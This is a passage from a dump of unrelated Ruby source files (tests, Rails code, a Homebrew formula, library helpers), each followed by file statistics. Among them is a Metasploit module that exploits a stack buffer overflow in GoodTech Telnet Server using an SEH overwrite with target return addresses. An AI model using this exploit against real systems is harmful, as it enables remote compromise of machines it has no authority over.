.and_raise(MediawikiApi::ApiError)
expect(subject).to eq(nil)
end
it 'handles HTTP errors gracefully' do
allow_any_instance_of(MediawikiApi::Client).to receive(:send)
.and_raise(MediawikiApi::HttpError, '')
expect(subject).to eq(nil)
end
it 're-raises unexpected errors' do
class UnexpectedError < StandardError; end
allow_any_instance_of(MediawikiApi::Client).to receive(:send)
.and_raise(UnexpectedError)
expect { subject }.to raise_error(UnexpectedError)
end
end
describe '#get_page_content' do
it 'returns the content of a page' do
VCR.use_cassette 'wiki/course_list' do
title = 'Wikipedia:Education program/Dashboard/test_ids'
response = described_class.new.get_page_content(title)
expect(response).to eq("439\n456\n351")
end
end
# This is really a test that Used#talk_page is returning the format
# expected by the API, and not a URL-encoded page title.
it 'gets the content of a user talk page with special characters' do
user = build(:user, username: 'Julie209!')
VCR.use_cassette 'wiki/user_talk' do
response = described_class.new.get_page_content(user.talk_page)
expect(response).not_to be_blank
end
end
end
describe '#fetch_all' do
it 'returns the same data as a single complete query would' do
VCR.use_cassette 'wiki/continue_response' do
titles = %(apple Fruit ecosystem Pear)
# With a low palimit, this query will need to continue
continue_query = { titles: titles,
prop: 'pageassessments',
redirects: 'true',
palimit: 2 }
# With a high palimit, this query will not need to continue
complete_query = continue_query.merge(palimit: 50)
complete = described_class.new.send(:fetch_all, complete_query)
continue = described_class.new.send(:fetch_all, continue_query)
expect(complete).to eq(continue)
end
end
end
describe '#get_article_ratings' do
it 'returns the ratings of articles' do
VCR.use_cassette 'wiki/article_ratings' do
# A single article
response = described_class.new.get_article_rating('History_of_biology')
expect(response['History_of_biology']).to eq('fa')
# A single non-existant article
response = described_class.new.get_article_rating('THIS_IS_NOT_A_REAL_ARTICLE_TITLE')
expect(response['THIS_IS_NOT_A_REAL_ARTICLE_TITLE']).to eq(nil)
# A mix of existing and non-existant, including ones with niche ratings.
# Some of these ratings may change over time.
articles = [
'History_of_biology', # fa
'A_Clash_of_Kings', # c
'Ecology', # ga
'Fast_inverse_square_root', # ga
'Latericaecum', # unassessed
'List_of_Oregon_ballot_measures', # list
'The_American_Monomyth', # stub
'Drug_Trafficking_Safe_Harbor_Elimination_Act', # start
'Energy_policy_of_the_United_States', # b
'List_of_camouflage_methods', # fl
'THIS_IS_NOT_A_REAL_ARTICLE_TITLE', # does not exist
'1804_Snow_hurricane', # a
'Barton_S._Alexander', # a
'Bell_number', # b, formerly bplus
'List_of_Canadian_plants_by_family_S', # sl
'Antarctica_(disambiguation)', # disambig
'2015_Pacific_typhoon_season', # start
'Sex_trafficking', # c
'American_Civil_War_prison_camps' # cl
]
response = described_class.new.get_article_rating(articles)
expect(response['History_of_biology']).to eq('fa')
expect(response['THIS_IS_NOT_A_REAL_ARTICLE_TITLE']).to eq(nil)
expect(response['American_Civil_War_prison_camps']).to eq('cl')
expect(response['Bell_number']).to eq('b')
end
end
end
describe '#get_user_id' do
context 'for an English Wikipedia users' do
let(:wiki) { Wiki.new(language: 'en', project: 'wikipedia') }
it 'returns the correct user_id for all types of usernames' do
usernames = { 'Ragesoss' => 319203,
'LiAnna (Wiki Ed)' => 21102089, # spaces and parens
'ערן' => 7201119, # Hebrew characters
'JRicker,PhD' => 17137867, # comma
'Evol&Glass' => 22403865, # ampersand
"Jack's nomadic mind" => 26211578, # apostrophe
'!!Aaapplesauce' => 11274650 } # exclamation
VCR.use_cassette 'wiki/get_user_id_en_wiki' do
usernames.each do |username, id|
result = described_class.new(wiki).get_user_id(username)
expect(result).to eq(id)
end
end
end
end
context 'for a Spanish Wikipedia user' do
let(:wiki) { Wiki.new(language: 'es', project: 'wikipedia') }
let(:username) { 'Ragesoss' }
it 'returns the correct user_id' do
VCR.use_cassette 'wiki/get_user_id_es_wiki' do
result = described_class.new(wiki).get_user_id(username)
expect(result).to eq(772153)
end
end
end
it 'returns nil for usernames that do not exist' do
VCR.use_cassette 'wiki/get_user_id_nonexistent' do
username = 'RagesossRagesossRagesoss'
user_id = described_class.new.get_user_id(username)
expect(user_id).to be_nil
end
end
end
describe '#redirect?' do
let(:wiki) { Wiki.new(language: 'en', project: 'wikipedia') }
let(:subject) { described_class.new(wiki).redirect?(title) }
context 'when title is a redirect' do
let(:title) { 'Athletics_in_Epic_Poetry' }
it 'returns true' do
VCR.use_cassette 'wiki/redirect' do
expect(subject).to eq(true)
end
end
end
context 'when title is not a redirect' do
let(:title) { 'Selfie' }
it 'returns false' do
VCR.use_cassette 'wiki/redirect' do
expect(subject).to eq(false)
end
end
end
context 'when title does not exist' do
let(:title) { 'THIS_PAGE_DOES_NOT_EXIST' }
it 'returns false' do
VCR.use_cassette 'wiki/redirect' do
expect(subject).to eq(false)
end
end
end
context 'when no data is returned' do
let(:title) { 'Athletics_in_Epic_Poetry' }
it 'returns false' do
stub_request(:any, /.*/).to_return(status: 200, body: '{}', headers: {})
expect(subject).to eq(false)
end
end
end
end
| 34.609524 | 93 | 0.635526 |
edc0250d6348094f5a7e10ed2f6acf278ac61dc8 | 2,103 | ENV['FOG_RC'] = ENV['FOG_RC'] || File.expand_path('../.fog', __FILE__)
ENV['FOG_CREDENTIAL'] = ENV['FOG_CREDENTIAL'] || 'default'
require 'fog'
require 'fog/bin' # for available_providers and registered_providers
Excon.defaults.merge!(:debug_request => true, :debug_response => true)
require File.expand_path(File.join(File.dirname(__FILE__), 'helpers', 'mock_helper'))
# This overrides the default 600 seconds timeout during live test runs
if Fog.mocking?
FOG_TESTING_TIMEOUT = ENV['FOG_TEST_TIMEOUT'] || 2000
Fog.timeout = 2000
Fog::Logger.warning "Setting default fog timeout to #{Fog.timeout} seconds"
else
FOG_TESTING_TIMEOUT = Fog.timeout
end
def lorem_file
File.open(File.dirname(__FILE__) + '/lorem.txt', 'r')
end
def array_differences(array_a, array_b)
(array_a - array_b) | (array_b - array_a)
end
# check to see which credentials are available and add others to the skipped tags list
all_providers = Fog.registered_providers.map {|provider| provider.downcase}
# Manually remove these providers since they are local applications, not lacking credentials
all_providers = all_providers - ["libvirt", "vmfusion", "openvz"]
available_providers = Fog.available_providers.map {|provider| provider.downcase}
unavailable_providers = all_providers - available_providers
if !ENV['PROVIDER'].nil? && unavailable_providers.include?(ENV['PROVIDER'])
Formatador.display_line("[red]Requested provider #{ENV['PROVIDER']} is not available.[/]" +
"[red]Check if .fog file has correct configuration (see '#{Fog.credentials_path}')[/]")
exit(0)
end
for provider in unavailable_providers
Formatador.display_line("[yellow]Skipping tests for [bold]#{provider}[/] [yellow]due to lacking credentials (add some to '#{Fog.credentials_path}' to run them)[/]")
Thread.current[:tags] << ('-' << provider)
end
# mark libvirt tests pending if not setup
begin
require('libvirt')
rescue LoadError
Formatador.display_line("[yellow]Skipping tests for [bold]libvirt[/] [yellow]due to missing `ruby-libvirt` gem.[/]")
Thread.current[:tags] << '-libvirt'
end
| 37.553571 | 166 | 0.735616 |
acf775b3538addeb5b78958e344d7483d3a515ba | 11,555 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Gitlab::Database::MigrationHelpers::V2 do
include Database::TriggerHelpers
include Database::TableSchemaHelpers
let(:migration) do
ActiveRecord::Migration.new.extend(described_class)
end
before do
allow(migration).to receive(:puts)
allow(ActiveRecord::Base.connection).to receive(:transaction_open?).and_return(false)
end
shared_examples_for 'Setting up to rename a column' do
let(:model) { Class.new(ActiveRecord::Base) }
before do
model.table_name = :_test_table
end
context 'when called inside a transaction block' do
before do
allow(migration).to receive(:transaction_open?).and_return(true)
end
it 'raises an error' do
expect do
migration.public_send(operation, :_test_table, :original, :renamed)
end.to raise_error("#{operation} can not be run inside a transaction")
end
end
context 'when the existing column has a default value' do
before do
migration.change_column_default :_test_table, existing_column, 'default value'
end
it 'raises an error' do
expect do
migration.public_send(operation, :_test_table, :original, :renamed)
end.to raise_error("#{operation} does not currently support columns with default values")
end
end
context 'when passing a batch column' do
context 'when the batch column does not exist' do
it 'raises an error' do
expect do
migration.public_send(operation, :_test_table, :original, :renamed, batch_column_name: :missing)
end.to raise_error('Column missing does not exist on _test_table')
end
end
context 'when the batch column does exist' do
it 'passes it when creating the column' do
expect(migration).to receive(:create_column_from)
.with(:_test_table, existing_column, added_column, type: nil, batch_column_name: :status)
.and_call_original
migration.public_send(operation, :_test_table, :original, :renamed, batch_column_name: :status)
end
end
end
it 'creates the renamed column, syncing existing data' do
existing_record_1 = model.create!(status: 0, existing_column => 'existing')
existing_record_2 = model.create!(status: 0, existing_column => nil)
migration.send(operation, :_test_table, :original, :renamed)
model.reset_column_information
expect(migration.column_exists?(:_test_table, added_column)).to eq(true)
expect(existing_record_1.reload).to have_attributes(status: 0, original: 'existing', renamed: 'existing')
expect(existing_record_2.reload).to have_attributes(status: 0, original: nil, renamed: nil)
end
it 'installs triggers to sync new data' do
migration.public_send(operation, :_test_table, :original, :renamed)
model.reset_column_information
new_record_1 = model.create!(status: 1, original: 'first')
new_record_2 = model.create!(status: 1, renamed: 'second')
expect(new_record_1.reload).to have_attributes(status: 1, original: 'first', renamed: 'first')
expect(new_record_2.reload).to have_attributes(status: 1, original: 'second', renamed: 'second')
new_record_1.update!(original: 'updated')
new_record_2.update!(renamed: nil)
expect(new_record_1.reload).to have_attributes(status: 1, original: 'updated', renamed: 'updated')
expect(new_record_2.reload).to have_attributes(status: 1, original: nil, renamed: nil)
end
end
describe '#rename_column_concurrently' do
before do
allow(migration).to receive(:transaction_open?).and_return(false)
migration.create_table :_test_table do |t|
t.integer :status, null: false
t.text :original
t.text :other_column
end
end
it_behaves_like 'Setting up to rename a column' do
let(:operation) { :rename_column_concurrently }
let(:existing_column) { :original }
let(:added_column) { :renamed }
end
context 'when the column to rename does not exist' do
it 'raises an error' do
expect do
migration.rename_column_concurrently :_test_table, :missing_column, :renamed
end.to raise_error('Column missing_column does not exist on _test_table')
end
end
end
describe '#undo_cleanup_concurrent_column_rename' do
before do
allow(migration).to receive(:transaction_open?).and_return(false)
migration.create_table :_test_table do |t|
t.integer :status, null: false
t.text :other_column
t.text :renamed
end
end
it_behaves_like 'Setting up to rename a column' do
let(:operation) { :undo_cleanup_concurrent_column_rename }
let(:existing_column) { :renamed }
let(:added_column) { :original }
end
context 'when the renamed column does not exist' do
it 'raises an error' do
expect do
migration.undo_cleanup_concurrent_column_rename :_test_table, :original, :missing_column
end.to raise_error('Column missing_column does not exist on _test_table')
end
end
end
shared_examples_for 'Cleaning up from renaming a column' do
let(:connection) { migration.connection }
before do
allow(migration).to receive(:transaction_open?).and_return(false)
migration.create_table :_test_table do |t|
t.integer :status, null: false
t.text :original
t.text :other_column
end
migration.rename_column_concurrently :_test_table, :original, :renamed
end
context 'when the helper is called repeatedly' do
before do
migration.public_send(operation, :_test_table, :original, :renamed)
end
it 'does not make repeated attempts to cleanup' do
expect(migration).not_to receive(:remove_column)
expect do
migration.public_send(operation, :_test_table, :original, :renamed)
end.not_to raise_error
end
end
context 'when the renamed column exists' do
let(:triggers) do
[
['trigger_020dbcb8cdd0', 'function_for_trigger_020dbcb8cdd0', before: 'insert'],
['trigger_6edaca641d03', 'function_for_trigger_6edaca641d03', before: 'update'],
['trigger_a3fb9f3add34', 'function_for_trigger_a3fb9f3add34', before: 'update']
]
end
it 'removes the sync triggers and renamed columns' do
triggers.each do |(trigger_name, function_name, event)|
expect_function_to_exist(function_name)
expect_valid_function_trigger(:_test_table, trigger_name, function_name, event)
end
expect(migration.column_exists?(:_test_table, added_column)).to eq(true)
migration.public_send(operation, :_test_table, :original, :renamed)
expect(migration.column_exists?(:_test_table, added_column)).to eq(false)
triggers.each do |(trigger_name, function_name, _)|
expect_trigger_not_to_exist(:_test_table, trigger_name)
expect_function_not_to_exist(function_name)
end
end
end
end
describe '#undo_rename_column_concurrently' do
it_behaves_like 'Cleaning up from renaming a column' do
let(:operation) { :undo_rename_column_concurrently }
let(:added_column) { :renamed }
end
end
describe '#cleanup_concurrent_column_rename' do
it_behaves_like 'Cleaning up from renaming a column' do
let(:operation) { :cleanup_concurrent_column_rename }
let(:added_column) { :original }
end
end
describe '#create_table' do
let(:table_name) { :_test_table }
let(:column_attributes) do
[
{ name: 'id', sql_type: 'bigint', null: false, default: nil },
{ name: 'created_at', sql_type: 'timestamp with time zone', null: false, default: nil },
{ name: 'updated_at', sql_type: 'timestamp with time zone', null: false, default: nil },
{ name: 'some_id', sql_type: 'integer', null: false, default: nil },
{ name: 'active', sql_type: 'boolean', null: false, default: 'true' },
{ name: 'name', sql_type: 'text', null: true, default: nil }
]
end
context 'using a limit: attribute on .text' do
it 'creates the table as expected' do
migration.create_table table_name do |t|
t.timestamps_with_timezone
t.integer :some_id, null: false
t.boolean :active, null: false, default: true
t.text :name, limit: 100
end
expect_table_columns_to_match(column_attributes, table_name)
expect_check_constraint(table_name, 'check_e9982cf9da', 'char_length(name) <= 100')
end
end
end
describe '#with_lock_retries' do
let(:model) do
ActiveRecord::Migration.new.extend(described_class)
end
let(:buffer) { StringIO.new }
let(:in_memory_logger) { Gitlab::JsonLogger.new(buffer) }
let(:env) { { 'DISABLE_LOCK_RETRIES' => 'true' } }
it 'sets the migration class name in the logs' do
model.with_lock_retries(env: env, logger: in_memory_logger) { }
buffer.rewind
expect(buffer.read).to include("\"class\":\"#{model.class}\"")
end
where(raise_on_exhaustion: [true, false])
with_them do
it 'sets raise_on_exhaustion as requested' do
with_lock_retries = double
expect(Gitlab::Database::WithLockRetries).to receive(:new).and_return(with_lock_retries)
expect(with_lock_retries).to receive(:run).with(raise_on_exhaustion: raise_on_exhaustion)
model.with_lock_retries(env: env, logger: in_memory_logger, raise_on_exhaustion: raise_on_exhaustion) { }
end
end
it 'does not raise on exhaustion by default' do
with_lock_retries = double
expect(Gitlab::Database::WithLockRetries).to receive(:new).and_return(with_lock_retries)
expect(with_lock_retries).to receive(:run).with(raise_on_exhaustion: false)
model.with_lock_retries(env: env, logger: in_memory_logger) { }
end
it 'defaults to disallowing subtransactions' do
with_lock_retries = double
expect(Gitlab::Database::WithLockRetries).to receive(:new).with(hash_including(allow_savepoints: false)).and_return(with_lock_retries)
expect(with_lock_retries).to receive(:run).with(raise_on_exhaustion: false)
model.with_lock_retries(env: env, logger: in_memory_logger) { }
end
context 'when in transaction' do
before do
allow(model).to receive(:transaction_open?).and_return(true)
end
context 'when lock retries are enabled' do
before do
allow(model).to receive(:enable_lock_retries?).and_return(true)
end
it 'does not use Gitlab::Database::WithLockRetries and executes the provided block directly' do
expect(Gitlab::Database::WithLockRetries).not_to receive(:new)
expect(model.with_lock_retries(env: env, logger: in_memory_logger) { :block_result }).to eq(:block_result)
end
end
context 'when lock retries are not enabled' do
before do
allow(model).to receive(:enable_lock_retries?).and_return(false)
end
it 'raises an error' do
expect { model.with_lock_retries(env: env, logger: in_memory_logger) { } }.to raise_error /can not be run inside an already open transaction/
end
end
end
end
end
| 35.444785 | 151 | 0.674859 |
e80655ff8ebd80af951758180dd8deda8173a698 | 100 | module Spree
module Admin
class BankAccountsController < ResourceController
end
end
end
| 14.285714 | 53 | 0.76 |
f8afaf23fd5acd16f18656e940392e9636152a1b | 705 | class Api::V1::OrdersController < ApplicationController
def index
@orders = Order.all
render json: @orders
end
def create
@order = Order.new(order_params)
if @order.save
render json: {
message: 'Order Successfully Placed!',
order: @order
}
else
render json: {
message: 'Failed to place order.',
errors: []
}, status: :bad_request
end
end
def prices
@order = Order.new(order_params)
prices = OrderPriceService.new.calculate_prices(@order)
render json: prices
end
private
def order_params
params.require(:order).permit(
order_items_attributes: %i[product_id quantity]
)
end
end
| 19.054054 | 59 | 0.629787 |
bb4687985dbcf42e8ef47e163f50ad39db55f856 | 398 | FactoryGirl.define do
factory :user do
user_name('Athena')
email('[email protected]')
password('mycoolpass')
password_confirmation('mycoolpass')
admin true
end
factory :service, class: Service do
name('Martini')
description('Cold and dirty and dry')
price('36')
end
factory :review, class: Service do
content('nomnom')
author('Nosher')
end
end
| 18.952381 | 41 | 0.663317 |
28c213ad4fc8b0c2ee90978b99c2a267ee456386 | 10,151 | # frozen_string_literal: true
# Methods added to this helper will be available to all templates in the hosting application
module Blacklight::BlacklightHelperBehavior
include Blacklight::UrlHelperBehavior
include Blacklight::HashAsHiddenFieldsHelperBehavior
include Blacklight::LayoutHelperBehavior
include Blacklight::IconHelperBehavior
##
# Get the name of this application from an i18n string
# key: blacklight.application_name
# Try first in the current locale, then the default locale
#
# @return [String] the application name
def application_name
# It's important that we don't use ActionView::Helpers::CacheHelper#cache here
# because it returns nil.
Rails.cache.fetch 'blacklight/application_name' do
t('blacklight.application_name',
default: t('blacklight.application_name', locale: I18n.default_locale))
end
end
def sinai_application_name
# It's important that we don't use ActionView::Helpers::CacheHelper#cache here
# because it returns nil.
Rails.cache.fetch 'blacklight/sinai_application_name' do
t('blacklight.sinai_application_name',
default: t('blacklight.sinai_application_name', locale: I18n.default_locale))
end
end
##
# Get the page's HTML title
#
# @return [String]
def render_page_title
if Flipflop.sinai?
(content_for(:page_title) if content_for?(:page_title)) || @page_title || sinai_application_name
else
(content_for(:page_title) if content_for?(:page_title)) || @page_title || application_name
end
end
##
# Create <link rel="alternate"> links from a documents dynamically
# provided export formats.
#
# Returns empty string if no links available.
#
# @param [SolrDocument] document
# @param [Hash] options
# @option options [Boolean] :unique ensures only one link is output for every
# content type, e.g. as required by atom
# @option options [Array<String>] :exclude array of format shortnames to not include in the output
def render_link_rel_alternates(document = @document, options = {})
return if document.nil?
presenter(document).link_rel_alternates(options)
end
##
# Render OpenSearch headers for this search
# @return [String]
def render_opensearch_response_metadata
render partial: 'catalog/opensearch_response_metadata', locals: { response: @response }
end
deprecation_deprecate render_opensearch_response_metadata: 'Use `render "catalog/opensearch_response_metadata"\' instead'
##
# Render classes for the <body> element
# @return [String]
def render_body_class
extra_body_classes.join " "
end
##
# List of classes to be applied to the <body> element
# @see render_body_class
# @return [Array<String>]
def extra_body_classes
@extra_body_classes ||= ['blacklight-' + controller.controller_name, 'blacklight-' + [controller.controller_name, controller.action_name].join('-')]
end
##
# Render the search navbar
# @return [String]
def render_search_bar
search_bar_presenter.render
end
def search_bar_presenter
@search_bar ||= search_bar_presenter_class.new(controller, blacklight_config)
end
##
# Determine whether to render a given field in the index view.
#
# @param [SolrDocument] document
# @param [Blacklight::Configuration::Field] field_config
# @return [Boolean]
def should_render_index_field? document, field_config
Deprecation.warn self, "should_render_index_field? is deprecated and will be removed in Blacklight 8. Use IndexPresenter#render_field? instead."
should_render_field?(field_config, document) && document_has_value?(document, field_config)
end
##
# Determine whether to render a given field in the show view
#
# @param [SolrDocument] document
# @param [Blacklight::Configuration::Field] field_config
# @return [Boolean]
def should_render_show_field? document, field_config
Deprecation.warn self, "should_render_show_field? is deprecated and will be removed in Blacklight 8. Use ShowPresenter#render_field? instead."
should_render_field?(field_config, document) && document_has_value?(document, field_config)
end
##
# Check if a document has (or, might have, in the case of accessor methods) a value for
# the given solr field
# @param [SolrDocument] document
# @param [Blacklight::Configuration::Field] field_config
# @return [Boolean]
def document_has_value? document, field_config
Deprecation.warn self, "document_has_value? is deprecated and will be removed in Blacklight 8. Use DocumentPresenter#has_value? instead."
document.has?(field_config.field) ||
(document.has_highlight_field? field_config.field if field_config.highlight) ||
field_config.accessor
end
##
# Determine whether to display spellcheck suggestions
#
# @param [Blacklight::Solr::Response] response
# @return [Boolean]
def should_show_spellcheck_suggestions? response
# The spelling response field may be missing from non solr repositories.
response.total <= spell_check_max &&
!response.spelling.nil? &&
response.spelling.words.any?
end
##
# Render the index field label for a document
#
# Translations for index field labels should go under blacklight.search.fields
# They are picked up from there by a value "%{label}" in blacklight.search.index.label
#
# @overload render_index_field_label(options)
# Use the default, document-agnostic configuration
# @param [Hash] opts
# @option opts [String] :field
# @overload render_index_field_label(document, options)
# Allow an extention point where information in the document
# may drive the value of the field
# @param [SolrDocument] doc
# @param [Hash] opts
# @option opts [String] :field
def render_index_field_label *args
options = args.extract_options!
document = args.first
field = options[:field]
html_escape t(:"blacklight.search.index.#{document_index_view_type}.label", default: :'blacklight.search.index.label', label: index_field_label(document, field))
end
##
# Render the show field label for a document
#
# @overload render_document_show_field_label(options)
# Use the default, document-agnostic configuration
# @param [Hash] opts
# @option opts [String] :field
# @overload render_document_show_field_label(document, options)
# Allow an extention point where information in the document
# may drive the value of the field
# @param [SolrDocument] doc
# @param [Hash] opts
# @option opts [String] :field
def render_document_show_field_label *args
options = args.extract_options!
document = args.first
field = options[:field]
t(:'blacklight.search.show.label', label: document_show_field_label(document, field))
end
##
# Get the value of the document's "title" field, or a placeholder
# value (if empty)
#
# @param [SolrDocument] document
# @return [String]
def document_heading document = nil
document ||= @document
presenter(document).heading
end
##
# Get the document's "title" to display in the <title> element.
# (by default, use the #document_heading)
#
# @see #document_heading
# @param [SolrDocument] document
# @return [String]
def document_show_html_title document = nil
document ||= @document
presenter(document).html_title
end
##
# Render the document "heading" (title) in a content tag
# @overload render_document_heading(document, options)
# @param [SolrDocument] document
# @param [Hash] options
# @option options [Symbol] :tag
# @overload render_document_heading(options)
# @param [Hash] options
# @option options [Symbol] :tag
def render_document_heading(*args)
options = args.extract_options!
document = args.first
tag = options.fetch(:tag, :h4)
document ||= @document
content_tag(tag, presenter(document).heading, itemprop: "name")
end
##
# Get the current "view type" (and ensure it is a valid type)
#
# @param [Hash] query_params the query parameters to check
# @return [Symbol]
def document_index_view_type query_params = params
view_param = query_params[:view]
view_param ||= session[:preferred_view]
if view_param && document_index_views.key?(view_param.to_sym)
view_param.to_sym
else
default_document_index_view_type
end
end
##
# Render a partial of an arbitrary format inside a
# template of a different format. (e.g. render an HTML
# partial from an XML template)
# code taken from:
# http://stackoverflow.com/questions/339130/how-do-i-render-a-partial-of-a-different-format-in-rails (zgchurch)
#
# @param [String] format suffix
# @yield
def with_format(format)
old_formats = formats
self.formats = [format]
yield
self.formats = old_formats
nil
end
##
# Should we render a grouped response (because the response
# contains a grouped response instead of the normal response)
def render_grouped_response? response = @response
response.grouped?
end
##
# Returns a document presenter for the given document
# TODO: Move this to the controller. It can just pass a presenter or set of presenters.
def presenter(document)
case action_name
when 'show', 'citation'
show_presenter(document)
else
index_presenter(document)
end
end
def show_presenter(document)
show_presenter_class(document).new(document, self)
end
def index_presenter(document)
index_presenter_class(document).new(document, self)
end
##
# Override this method if you want to use a different presenter class
def show_presenter_class(_document)
blacklight_config.show.document_presenter_class
end
def index_presenter_class(_document)
blacklight_config.index.document_presenter_class
end
def search_bar_presenter_class
blacklight_config.index.search_bar_presenter_class
end
##
# Open Search discovery tag for HTML <head> links
def opensearch_description_tag title, href
tag :link, href: href, title: title, type: "application/opensearchdescription+xml", rel: "search"
end
end
| 32.745161 | 165 | 0.72712 |
4a1d78f7fbbf515109c1845c28ac49f1c2b633ba | 1,912 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GoodTech Telnet Server Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in GoodTech Systems Telnet Server
versions prior to 5.0.7. By sending an overly long string, an attacker can
overwrite the buffer and control program execution.
},
'License' => MSF_LICENSE,
'Author' => 'MC',
'References' =>
[
[ 'CVE', '2005-0768' ],
[ 'OSVDB', '14806'],
[ 'BID', '12815' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
],
'Privileged' => true,
'DisclosureDate' => '2005-03-15',
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(2380)
]
)
end
def exploit
connect
sploit = rand_text_english(10020, payload_badchars)
seh = generate_seh_payload(target.ret)
sploit[10012, seh.length] = seh
print_status("Trying target #{target.name}...")
sock.put(sploit + "\r\n\r\n")
handler
disconnect
end
end
| 25.493333 | 88 | 0.535042 |
d5a14791177a90df8ecf7ad2cc65a85b4a5e62b3 | 1,340 | class Torrentcheck < Formula
desc "Command-line torrent viewer and hash checker"
homepage "https://torrentcheck.sourceforge.io/"
url "https://downloads.sourceforge.net/project/torrentcheck/torrentcheck-1.00.zip"
sha256 "a839f9ac9669d942f83af33db96ce9902d84f85592c99b568ef0f5232ff318c5"
bottle do
cellar :any_skip_relocation
sha256 "b8100aac4cf74924411b389b8e2c45656d621e8ef3281b21e761188859a36f2e" => :catalina
sha256 "68fe4afd56987956e760e7dc7cac8db8677dd9c4aee2b844435fbc90e0da039a" => :mojave
sha256 "7d214899822d24fabad867f67d8062bb689a74e8f7975ea2209bf69aca342abe" => :high_sierra
sha256 "c1169f112306b1f235297cba2c8920894e063b9b1f774e36be75f3f2c194bda5" => :sierra
sha256 "ea6fbaa86be1c799c3baa4405aa1a750c2b3e1deb4bea0a412027d427f0922da" => :el_capitan
sha256 "46426cdf1c627f448d54895b7f08379b90948030be346753104f5f6a5fabca3b" => :yosemite
sha256 "ed300dfc8d1f7f7fe3c9c161b8f86cc6a379c7a4cca3914bb0c665d66ec6596a" => :mavericks
sha256 "32958ad4089386b2c5dd4c60980943d13c37a3fdef39f69d9bba087b59190fd0" => :x86_64_linux
end
disable! date: "2020-12-08", because: :unmaintained
def install
inreplace "torrentcheck.c", "#include <malloc.h>", ""
system ENV.cc, "torrentcheck.c", "sha1.c", "-o", "torrentcheck", *ENV.cflags.to_s.split
bin.install "torrentcheck"
end
end
| 49.62963 | 94 | 0.80597 |
1cff403b94c05c3b5a585a66d5f26fd7578bbebb | 893 | # frozen_string_literal: true
require_relative 'boot'
require 'rails/all'
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module FacebookClone
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 5.2
# Settings in config/environments/* take precedence over those specified here.
# Application configuration can go into files in config/initializers
# -- all .rb files in that directory are automatically loaded after loading
# the framework and any gems in your application.
config.generators do |g|
g.test_framework :rspec,
view_specs: false,
helper_specs: false,
routing_specs: false
end
end
end
| 31.892857 | 82 | 0.701008 |
bfd7516d8f81d3fcaac0c8735f84b4ffbd5491b1 | 1,787 | # (c) Copyright IBM Corp. 2021
# (c) Copyright Instana Inc. 2021
require 'csv'
module Instana
module Backend
# Utility class to discover the agent that a given instance of the collector
# needs to communicate with.
# @since 1.197.0
class HostAgentLookup
def initialize(host = ::Instana.config[:agent_host], port = ::Instana.config[:agent_port], destination: '00000000')
@host = host
@port = port
@destination = destination
end
# @return [RequestClient, NilClass] the request client to use to communicate with the agent or nil if no agent could be found
def call
host_listening?(@host, @port) || host_listening?(default_gateway, @port)
end
private
# @return [RequestClient, nil] the request client if it responds to '/' with a success
def host_listening?(host, port)
client = RequestClient.new(host, port)
client.send_request('GET', '/').ok? ? client : nil
rescue Net::OpenTimeout, Errno::ECONNREFUSED => _e
nil
end
# @return [String] the default gateway to attempt to connect to or the @host if a default gateway can not be identified
def default_gateway
return @host unless File.exist?('/proc/self/net/route')
routes = CSV.read(
'/proc/self/net/route',
headers: :first_row,
col_sep: "\t",
header_converters: [->(v) { v.strip }],
converters: [->(v) { v.strip }]
)
route = routes.detect { |r| r['Destination'] == @destination }
return @host unless route
route['Gateway']
.split(/([0-9A-Z]{2})/)
.reject(&:empty?)
.reverse
.map { |s| s.to_i(16) }
.join('.')
end
end
end
end
| 30.810345 | 131 | 0.595411 |
1d5c2f7314047bfec93adbca958f0702f497d9d0 | 2,580 | # The JsonCatalogEncoder is a wrapper around a catalog produced by the Pal::CatalogCompiler.with_json_encoding
# method.
# It allows encoding the entire catalog or an individual resource as Rich Data Json.
#
# @api public
#
module Puppet
module Pal
class JsonCatalogEncoder
# Is the resulting Json pretty printed or not.
attr_reader :pretty
# Should unrealized virtual resources be included in the result or not.
attr_reader :exclude_virtual
# The internal catalog being build - what this class wraps with a public API.
attr_reader :catalog
private :catalog
# Do not instantiate this class directly! Use the `Pal::CatalogCompiler#with_json_encoding` method
# instead.
#
# @param catalog [Puppet::Resource::Catalog] the internal catalog that this class wraps
# @param pretty [Boolean] (true), if the resulting JSON should be pretty printed or not
# @param exclude_virtual [Boolean] (true), if the resulting catalog should contain unrealzed virtual resources or not
#
# @api private
#
def initialize(catalog, pretty: true, exclude_virtual: true)
@catalog = catalog
@pretty = pretty
@exclude_virtual = exclude_virtual
end
# Encodes the entire catalog as a rich-data Json catalog.
# @return String The catalog in Json format using rich data format
# @api public
#
def encode
possibly_filtered_catalog.to_json(:pretty => pretty)
end
# Returns one particular resource as a Json string, or returns nil if resource was not found.
# @param type [String] the name of the puppet type (case independent)
# @param title [String] the title of the wanted resource
# @return [String] the resulting Json text
# @api public
#
def encode_resource(type, title)
# Ensure that both type and title are given since the underlying API will do mysterious things
# if 'title' is nil. (Other assertions are made by the catalog when looking up the resource).
#
# TRANSLATORS 'type' and 'title' are internal parameter names - do not translate
raise ArgumentError, _("Both type and title must be given") if type.nil? or title.nil?
r = possibly_filtered_catalog.resource(type, title)
return nil if r.nil?
r.to_data_hash.to_json(:pretty => pretty)
end
# Applies a filter for virtual resources and returns filtered catalog
# or the catalog itself if filtering was not needed.
# The result is cached.
# @api private
#
def possibly_filtered_catalog
@filtered ||= (exclude_virtual ? catalog.filter { |r| r.virtual? } : catalog)
end
private :possibly_filtered_catalog
end
end
end
| 35.833333 | 119 | 0.737597 |
